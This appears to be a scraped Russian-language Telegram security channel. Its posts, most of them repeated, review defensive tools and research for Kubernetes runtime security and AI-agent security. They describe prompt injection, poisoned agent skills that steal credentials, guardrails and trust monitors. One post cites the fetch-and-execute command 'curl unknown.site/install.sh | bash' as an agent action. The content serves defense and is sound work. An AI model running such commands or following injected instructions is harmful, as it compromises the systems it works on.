🌊 Bluerock: добавляем runtime-безопасность в Kubernetes
Kubernetes отлично умеет оркестрировать контейнеры. Но с безопасностью в runtime у него всегда были проблемы.
Вы настраиваете RBAC, network policies, admission controllers и сканирование образов и ждете отсутствия рисков ИБ. Однако всё это в основном работает до запуска workload’а.
После старта контейнера Kubernetes почти не понимает, что внутри него происходит на самом деле.
⚙️ Что же делать?
Bluerock - это runtime security layer для Kubernetes. Платформа наблюдает за поведением контейнеров уже после запуска и анализирует:
- запуск процессов
- syscall activity
- сетевые соединения
- доступ к файловой системе
взаимодействие pod’ов между собой
- обращения к Kubernetes API
Вместо анализа YAML-манифестов или образов система начинает смотреть на реальное поведение workload’а.
🧪 Так так так
Bluerock активно использует eBPF, что позволяет перехватывать события прямо на уровне ядра Linux без модификации контейнеров: process execution, fork/exec chains, network flows, filesystem access и другие runtime-события.
Дальше поверх этих данных строится policy engine. Политики задают допустимое поведение контейнера:
- какие процессы могут запускаться,
- какие outbound-соединения разрешены,
- какие filesystem paths доступны,
- какие действия считаются аномальными.
Например: контейнеру можно разрешить только конкретные бинарники (python, nginx, node) и заблокировать запуск shell или неизвестных процессов.
Или: разрешить обращения только к определённым API endpoints, запретив весь остальной outbound traffic.
🔒 Чем это отличается от обычной Kubernetes-защиты
Большинство Kubernetes security-инструментов работают со статикой: сканируют образы, проверяют конфигурации или анализируют манифесты.
Bluerock работает с runtime. Система анализирует не то, «как контейнер должен работать», а то, что он реально делает после запуска.
Для современных AI- и agent-based workload’ов это особенно актуально, потому что их поведение может меняться динамически в зависимости от prompt’ов, контекста или внешних данных.
🔗 GitHub: https://github.com/bluerock-io/bluerock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Kubernetes #CloudSecurity #RuntimeSecurity #eBPF #DevSecOps #OpenSource #SecureTechTalks
Kubernetes отлично умеет оркестрировать контейнеры. Но с безопасностью в runtime у него всегда были проблемы.
Вы настраиваете RBAC, network policies, admission controllers и сканирование образов и ждете отсутствия рисков ИБ. Однако всё это в основном работает до запуска workload’а.
После старта контейнера Kubernetes почти не понимает, что внутри него происходит на самом деле.
⚙️ Что же делать?
Bluerock - это runtime security layer для Kubernetes. Платформа наблюдает за поведением контейнеров уже после запуска и анализирует:
- запуск процессов
- syscall activity
- сетевые соединения
- доступ к файловой системе
взаимодействие pod’ов между собой
- обращения к Kubernetes API
Вместо анализа YAML-манифестов или образов система начинает смотреть на реальное поведение workload’а.
🧪 Так так так
Bluerock активно использует eBPF, что позволяет перехватывать события прямо на уровне ядра Linux без модификации контейнеров: process execution, fork/exec chains, network flows, filesystem access и другие runtime-события.
Дальше поверх этих данных строится policy engine. Политики задают допустимое поведение контейнера:
- какие процессы могут запускаться,
- какие outbound-соединения разрешены,
- какие filesystem paths доступны,
- какие действия считаются аномальными.
Например: контейнеру можно разрешить только конкретные бинарники (python, nginx, node) и заблокировать запуск shell или неизвестных процессов.
Или: разрешить обращения только к определённым API endpoints, запретив весь остальной outbound traffic.
🔒 Чем это отличается от обычной Kubernetes-защиты
Большинство Kubernetes security-инструментов работают со статикой: сканируют образы, проверяют конфигурации или анализируют манифесты.
Bluerock работает с runtime. Система анализирует не то, «как контейнер должен работать», а то, что он реально делает после запуска.
Для современных AI- и agent-based workload’ов это особенно актуально, потому что их поведение может меняться динамически в зависимости от prompt’ов, контекста или внешних данных.
🔗 GitHub: https://github.com/bluerock-io/bluerock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Kubernetes #CloudSecurity #RuntimeSecurity #eBPF #DevSecOps #OpenSource #SecureTechTalks
👍1
🧨 AI-агенту дали shell. Что теперь делать?
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
🧠🛡️ Guardrails для AI-агентов начали переписывать execution plan
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
Классическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
curl unknown.site/install.sh | bashКлассическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
👍1
🔎 Google решили автоматизировать discovery для AI-агентов
Пока индустрия массово подключает агентам всё подряд через MCP, Google двигает другую идею: агент должен уметь сам понимать, какие ресурсы ему доступны и как с ними работать.
Речь про Agentic Resource Discovery, новый подход, где агент получает не просто API, а карту окружения с инструментами, данными, политиками доступа и зависимостями.
⚙️ Что меняется
Сейчас мы работаем в полходе «вот тебе tool, вот schema, иди работай» Google же предлагает более зрелую модель: «discover → understand → reason → act»
То есть агент сначала сам изучает:
🔹 какие сервисы доступны
🔹 какие данные можно читать
🔹 какие действия разрешены
🔹 какие ограничения есть у каждой системы
🔹 где проходят границы доверия
И только потом строит execution plan.
🧠 Discovery наше все
Без discovery агент часто работает вслепую. Он не понимает окружение, не знает sensitivity данных и может легко нарушить политики безопасности.
Например, агент видит API удаления данных, но не понимает, что это ПРОМ. Или другой кейс, агент получает доступ к внутреннему S3-bucket, читает чувствительные документы и начинает использовать их в reasoning.
Agentic Resource Discovery пытается встроить security context прямо в planning phase. То есть безопасность начинает сдвигаться из runtime ближе к reasoning layer.
Это похоже на эволюцию MCP, т.е. не просто «вот инструменты», а «вот вся инфраструктура, её ограничения и правила работы с ней.»
Такой подход выглядит как очень логичный следующий шаг для enterprise-агентов.
🔗 GitHub: https://github.com/ards-project/ard-spec
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Google #MCP #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
Пока индустрия массово подключает агентам всё подряд через MCP, Google двигает другую идею: агент должен уметь сам понимать, какие ресурсы ему доступны и как с ними работать.
Речь про Agentic Resource Discovery, новый подход, где агент получает не просто API, а карту окружения с инструментами, данными, политиками доступа и зависимостями.
⚙️ Что меняется
Сейчас мы работаем в полходе «вот тебе tool, вот schema, иди работай» Google же предлагает более зрелую модель: «discover → understand → reason → act»
То есть агент сначала сам изучает:
🔹 какие сервисы доступны
🔹 какие данные можно читать
🔹 какие действия разрешены
🔹 какие ограничения есть у каждой системы
🔹 где проходят границы доверия
И только потом строит execution plan.
🧠 Discovery наше все
Без discovery агент часто работает вслепую. Он не понимает окружение, не знает sensitivity данных и может легко нарушить политики безопасности.
Например, агент видит API удаления данных, но не понимает, что это ПРОМ. Или другой кейс, агент получает доступ к внутреннему S3-bucket, читает чувствительные документы и начинает использовать их в reasoning.
Agentic Resource Discovery пытается встроить security context прямо в planning phase. То есть безопасность начинает сдвигаться из runtime ближе к reasoning layer.
Это похоже на эволюцию MCP, т.е. не просто «вот инструменты», а «вот вся инфраструктура, её ограничения и правила работы с ней.»
Такой подход выглядит как очень логичный следующий шаг для enterprise-агентов.
🔗 GitHub: https://github.com/ards-project/ard-spec
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Google #MCP #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
🧨 Guardrails больше не спасают. Нужно проверять поведение агента
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍2
🧨 Microsoft решили, что AI-агентам больше нельзя доверять права пользователя
Компания MS представила Microsoft Execution Containers (MXC), новый слой исполнения для AI-агентов в Windows и WSL. Даже если агент получил shell, написал код или решил вызвать инструмент, он не должен автоматически наследовать все права пользователя.
⚙️ Изоляция с помощью MXC
MXC запускает действия агента в изолированной среде, где политики определяют, к чему разрешён доступ. Можно ограничить файловую систему, сеть, процессы и другие ресурсы ещё до выполнения сгенерированного кода.
В первой версии доступны два режима. Process Isolation изолирует выполнение отдельных команд и ограничивает их доступ к файлам и сети. Session Isolation полностью отделяет агента от рабочего сеанса пользователя: рабочего стола, буфера обмена, устройств ввода и других пользовательских процессов. Каждая сессия работает от собственной учётной записи с отдельными политиками безопасности.
🧠 Повышаем уровень защиты
Последние месяцы мы регулярно пишем про атаки на AI-агентов: prompt injection, MCP injection, AutoJack, компрометацию tool chain...
Практически во всех случаях проблема одна и та же, агент получает слишком широкие полномочия. Microsoft фактически предлагают перенести принцип наименьших привилегий в мир агентных систем. Модель может ошибиться, но последствия этой ошибки должны оставаться внутри контейнера.
🔗 GitHub: https://github.com/microsoft/mxc
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Microsoft #RuntimeSecurity #Sandbox #AppSec #CyberSecurity #SecureTechTalks
Компания MS представила Microsoft Execution Containers (MXC), новый слой исполнения для AI-агентов в Windows и WSL. Даже если агент получил shell, написал код или решил вызвать инструмент, он не должен автоматически наследовать все права пользователя.
⚙️ Изоляция с помощью MXC
MXC запускает действия агента в изолированной среде, где политики определяют, к чему разрешён доступ. Можно ограничить файловую систему, сеть, процессы и другие ресурсы ещё до выполнения сгенерированного кода.
В первой версии доступны два режима. Process Isolation изолирует выполнение отдельных команд и ограничивает их доступ к файлам и сети. Session Isolation полностью отделяет агента от рабочего сеанса пользователя: рабочего стола, буфера обмена, устройств ввода и других пользовательских процессов. Каждая сессия работает от собственной учётной записи с отдельными политиками безопасности.
🧠 Повышаем уровень защиты
Последние месяцы мы регулярно пишем про атаки на AI-агентов: prompt injection, MCP injection, AutoJack, компрометацию tool chain...
Практически во всех случаях проблема одна и та же, агент получает слишком широкие полномочия. Microsoft фактически предлагают перенести принцип наименьших привилегий в мир агентных систем. Модель может ошибиться, но последствия этой ошибки должны оставаться внутри контейнера.
🔗 GitHub: https://github.com/microsoft/mxc
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Microsoft #RuntimeSecurity #Sandbox #AppSec #CyberSecurity #SecureTechTalks
👍3
🧨 Skills AI-агентов начали массово отравлять
Skills сегодня становятся аналогом npm-пакетов для AI-агентов, они расширяют возможности модели, но при этом наследуют её привилегии, могут запускать команды, читать файлы, обращаться к сети и использовать API.
⚙️ Исследования
За период с марта по май 2026 года исследователи ESET проанализировали почти 900 000 skills:
🔹 более 25 000 признаны подозрительными;
🔹 свыше 3 000 содержали вредоносную функциональность;
🔹 всего за два месяца число выявленных вредоносных skills выросло почти в пять раз.
🧠 Что умеют вредоносные skills?
Исследователи обнаружили целый набор типичных возможностей:
➖ выполнение shell-команд;
➖ доступ к локальным файлам;
➖ загрузка и запуск сторонних программ;
➖ внедрение кода в рабочий процесс агента;
➖ кража учётных данных и API-ключей;
➖ скрытая обфускация собственного поведения.
Проблема в том, что каждая из этих возможностей сама по себе может быть абсолютно легитимной. Поэтому статический анализ всё чаще оказывается бесполезным. Он видит код, но не понимает намерение.
🛡️ Куда движется Agent Security?
Проверять содержимое skills уже недостаточно. Новые работы предлагают запускать их в песочнице и анализировать реальное поведение: какие процессы создаются, какие файлы читаются, куда уходят данные и как они пересекают границы доверия. Такой подход демонстрирует заметно более высокую эффективность по сравнению со статическими сканерами.
🔗 Источник: ESET Threat Report H1 2026
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #SupplyChainSecurity #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
Skills сегодня становятся аналогом npm-пакетов для AI-агентов, они расширяют возможности модели, но при этом наследуют её привилегии, могут запускать команды, читать файлы, обращаться к сети и использовать API.
⚙️ Исследования
За период с марта по май 2026 года исследователи ESET проанализировали почти 900 000 skills:
🔹 более 25 000 признаны подозрительными;
🔹 свыше 3 000 содержали вредоносную функциональность;
🔹 всего за два месяца число выявленных вредоносных skills выросло почти в пять раз.
🧠 Что умеют вредоносные skills?
Исследователи обнаружили целый набор типичных возможностей:
Проблема в том, что каждая из этих возможностей сама по себе может быть абсолютно легитимной. Поэтому статический анализ всё чаще оказывается бесполезным. Он видит код, но не понимает намерение.
🛡️ Куда движется Agent Security?
Проверять содержимое skills уже недостаточно. Новые работы предлагают запускать их в песочнице и анализировать реальное поведение: какие процессы создаются, какие файлы читаются, куда уходят данные и как они пересекают границы доверия. Такой подход демонстрирует заметно более высокую эффективность по сравнению со статическими сканерами.
🔗 Источник: ESET Threat Report H1 2026
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #SupplyChainSecurity #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
🧨 Guardrails учатся думать: SingGuard-NSFA
Современные guardrails работают примитивно, получили запрос, нашли запрещённый паттерн и заблокировали. Однако для AI-агентов этого уже недостаточно. Атаки ушли от простых jailbreak'ов к сложным сценариям с prompt injection, опасными tool calls и постепенной компрометацией reasoning.
На GitHub появился SingGuard-NSFA, open-source guardrail, разработанный специально для защиты agentic AI.
⚙️ Чем он отличается от остальных?
Вместо одного бинарного решения модель использует двухуровневую архитектуру.
Для runtime работает лёгкий классификатор, способный принимать решение примерно за 50 мс. Если ситуация неоднозначна, подключается генеративный анализ, который пошагово сопоставляет запрос с политиками безопасности и объясняет, почему действие считается опасным.
🧠 Не просто jailbreak
SingGuard построен вокруг таксономии NSFA (Not Secure For Agents), которая описывает 185 вариантов угроз, связанных именно с агентными системами.
Среди них:
➖ prompt injection и jailbreak;
➖ попытки извлечения секретов;
➖ генерация вредоносного кода;
➖ опасное использование инструментов;
➖ утечка конфиденциальных данных;
➖ атаки на доступность через истощение ресурсов.
В отличие от обычных модераторов контента, модель проверяет не только запрос пользователя, но и ответ самого агента перед выполнением действий.
🛡️ Куда все идет?
За последний месяц мы уже видели MCP Injection, GhostCommit и workflow-level jailbreak. Во всех случаях проблема, что модель не генерирует токсичный текст, но принимает опасные операционные решения.
Похоже, следующее поколение guardrails будет оценивать уже не содержание диалога, а безопасность поведения AI-агента во время выполнения задач.
🔗 GitHub: https://github.com/inclusionAI/SingGuard-NSFA
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #Guardrails #PromptInjection #RuntimeSecurity #AppSec #SecureTechTalks
Современные guardrails работают примитивно, получили запрос, нашли запрещённый паттерн и заблокировали. Однако для AI-агентов этого уже недостаточно. Атаки ушли от простых jailbreak'ов к сложным сценариям с prompt injection, опасными tool calls и постепенной компрометацией reasoning.
На GitHub появился SingGuard-NSFA, open-source guardrail, разработанный специально для защиты agentic AI.
⚙️ Чем он отличается от остальных?
Вместо одного бинарного решения модель использует двухуровневую архитектуру.
Для runtime работает лёгкий классификатор, способный принимать решение примерно за 50 мс. Если ситуация неоднозначна, подключается генеративный анализ, который пошагово сопоставляет запрос с политиками безопасности и объясняет, почему действие считается опасным.
🧠 Не просто jailbreak
SingGuard построен вокруг таксономии NSFA (Not Secure For Agents), которая описывает 185 вариантов угроз, связанных именно с агентными системами.
Среди них:
➖ prompt injection и jailbreak;
➖ попытки извлечения секретов;
➖ генерация вредоносного кода;
➖ опасное использование инструментов;
➖ утечка конфиденциальных данных;
➖ атаки на доступность через истощение ресурсов.
В отличие от обычных модераторов контента, модель проверяет не только запрос пользователя, но и ответ самого агента перед выполнением действий.
🛡️ Куда все идет?
За последний месяц мы уже видели MCP Injection, GhostCommit и workflow-level jailbreak. Во всех случаях проблема, что модель не генерирует токсичный текст, но принимает опасные операционные решения.
Похоже, следующее поколение guardrails будет оценивать уже не содержание диалога, а безопасность поведения AI-агента во время выполнения задач.
🔗 GitHub: https://github.com/inclusionAI/SingGuard-NSFA
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #Guardrails #PromptInjection #RuntimeSecurity #AppSec #SecureTechTalks
👍2
🧨 Граница доверия LLM.
На arXiv вышла работа Composable Trust for Language Models, где авторы предлагают отказаться от идеи «исправить модель», а вместо этого предланают изменить архитектуру агентных систем.
⚙️ Граница доверия становится частью архитектуры
Авторы вводят понятие Composable Trust, формальной границы доверия (trust boundary), которая задаётся для каждого компонента пайплайна вокркг LLM.
Например:
🔹 RAG может предоставлять информацию, но не инициировать tool calls;
🔹 системный промпт имеет право задавать политики безопасности;
🔹 пользовательские инструкции не могут менять права доступа;
🔹 результаты поиска используются только как данные, а не как инструкции для выполнения.
При добавлении нового компонента, например MCP-сервера, общая trust boundary пересчитывается.
🧠 Как измеряют защиту?
Авторы разделяют доказуемую безопасность и измеряемую эффективность.
Критические решения принимает не сама LLM, а внешний Trust Monitor, детерминированный компонент, который отслеживает происхождение каждого фрагмента контекста и присваивает ему уровень доверия. Если запрос на вызов инструмента сформирован данными из недоверенного источника, monitor блокирует действие независимо от того, что решила модель.
После этого измеряется эффективность защиты.
В экспериментах на Gemma 3 27B комбинация Trust Monitor и механизма passivation увеличила показатель Genuine Leak Defended Rate примерно с 27% до 94%, при этом качество обычных ответов практически не изменилось (QRel ≈ 0.96). Даже при адаптивных атаках защита сохраняла около 87% успешных блокировок, а корректная атрибуция данных из недоверенных источников достигала 92%.
🛡️ Простота в действии
Практически все современные средства защиты пытаются сделать модель «умнее»: обучить новым jailbreak, добавить guardrails или улучшить системный промпт.
Авторы данного исследования предлагают противоположный подход. LLM больше не должна принимать решения о доверии. Её задача исключительно генерировать текст. Всё, что связано с доступом к инструментам, данным и выполнением действий, должно контролироваться проверяемым кодом за пределами модели.
🔗 Исследование: https://arxiv.org/abs/2607.13149
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #PromptInjection #TrustBoundary #RuntimeSecurity #AppSec #SecureTechTalks
На arXiv вышла работа Composable Trust for Language Models, где авторы предлагают отказаться от идеи «исправить модель», а вместо этого предланают изменить архитектуру агентных систем.
⚙️ Граница доверия становится частью архитектуры
Авторы вводят понятие Composable Trust, формальной границы доверия (trust boundary), которая задаётся для каждого компонента пайплайна вокркг LLM.
Например:
🔹 RAG может предоставлять информацию, но не инициировать tool calls;
🔹 системный промпт имеет право задавать политики безопасности;
🔹 пользовательские инструкции не могут менять права доступа;
🔹 результаты поиска используются только как данные, а не как инструкции для выполнения.
При добавлении нового компонента, например MCP-сервера, общая trust boundary пересчитывается.
🧠 Как измеряют защиту?
Авторы разделяют доказуемую безопасность и измеряемую эффективность.
Критические решения принимает не сама LLM, а внешний Trust Monitor, детерминированный компонент, который отслеживает происхождение каждого фрагмента контекста и присваивает ему уровень доверия. Если запрос на вызов инструмента сформирован данными из недоверенного источника, monitor блокирует действие независимо от того, что решила модель.
После этого измеряется эффективность защиты.
В экспериментах на Gemma 3 27B комбинация Trust Monitor и механизма passivation увеличила показатель Genuine Leak Defended Rate примерно с 27% до 94%, при этом качество обычных ответов практически не изменилось (QRel ≈ 0.96). Даже при адаптивных атаках защита сохраняла около 87% успешных блокировок, а корректная атрибуция данных из недоверенных источников достигала 92%.
🛡️ Простота в действии
Практически все современные средства защиты пытаются сделать модель «умнее»: обучить новым jailbreak, добавить guardrails или улучшить системный промпт.
Авторы данного исследования предлагают противоположный подход. LLM больше не должна принимать решения о доверии. Её задача исключительно генерировать текст. Всё, что связано с доступом к инструментам, данным и выполнением действий, должно контролироваться проверяемым кодом за пределами модели.
🔗 Исследование: https://arxiv.org/abs/2607.13149
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AISecurity #PromptInjection #TrustBoundary #RuntimeSecurity #AppSec #SecureTechTalks
❤1👍1